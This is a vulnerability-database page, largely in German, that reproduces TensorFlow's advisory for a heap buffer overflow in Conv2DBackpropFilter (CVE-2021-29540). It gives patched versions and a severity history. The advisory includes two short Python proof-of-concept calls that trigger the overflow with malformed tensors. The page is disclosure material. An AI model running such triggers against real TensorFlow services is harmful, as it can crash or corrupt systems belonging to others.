Niedrig

Heap buffer overflow in `Conv2DBackpropFilter`

  • Veröffentlicht: 14.05.2021
  • Aktualisiert: 11.10.2026 13:19

Impact

An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

python
import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234],
                           shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
                           dtype=tf.float32)
  
tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1],
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)

Alternatively, passing empty tensors also results in similar behavior:

python
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes, 
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1], 
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)

This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.

Patches

We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) tensorflow < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-cpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-gpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2

Verweise

CVSS-Wert 2.5/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Schwäche (CWE)
CWE-120, CWE-787
Plattform
Python (PyPI)
Paket
tensorflow, tensorflow-cpu, tensorflow-gpu
Veröffentlicht
14.05.2021
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2021-177 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-468 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-666 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-xgc3-m89p-vr3x - CC BY 4.0

Schwachstellenhistorie: tensorflow-gpu

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (427) im Archiv
Einträge insgesamt
427
Erste → letzte
04.2019 07.2024
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 6
  • Hoch 109
  • Mittel 207
  • Niedrig 105

Veröffentlichungen pro Jahr

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 166
  5. 2023: 18
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Schweregrad:
  1. Heap buffer overflow in `Conv2DBackpropFilter` dieser Eintrag
    Niedrig · 2.5 CVE-2021-29540 < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
  2. Hoch · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. Hoch · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. Hoch · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. Hoch · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. Hoch · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. Hoch · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. Hoch · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. Hoch · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  10. Hoch · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  11. Hoch · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  12. Hoch · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  13. Hoch · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  14. Hoch · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  15. Hoch · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  16. Hoch · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  17. Hoch · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  18. Hoch · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  19. Hoch · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  20. Hoch · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  21. Hoch · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  22. Hoch · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  23. Hoch · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  24. Kritisch · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  25. Hoch · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  26. Hoch · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  27. Hoch · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  28. Hoch · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  29. Hoch · 8.1 CVE-2022-23592 >= 2.7.0, < 2.8.0 2.8.0
  30. Hoch · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  31. Hoch · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  32. Hoch · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  33. Hoch · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  34. Hoch · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  35. Hoch · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  36. Hoch · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  37. Hoch · 7.6 CVE-2022-23584 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  38. Hoch · 7.6 CVE-2022-23558 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  39. Hoch · 8.8 CVE-2022-23587 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
Mehr anzeigen (20) 41 von 116 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.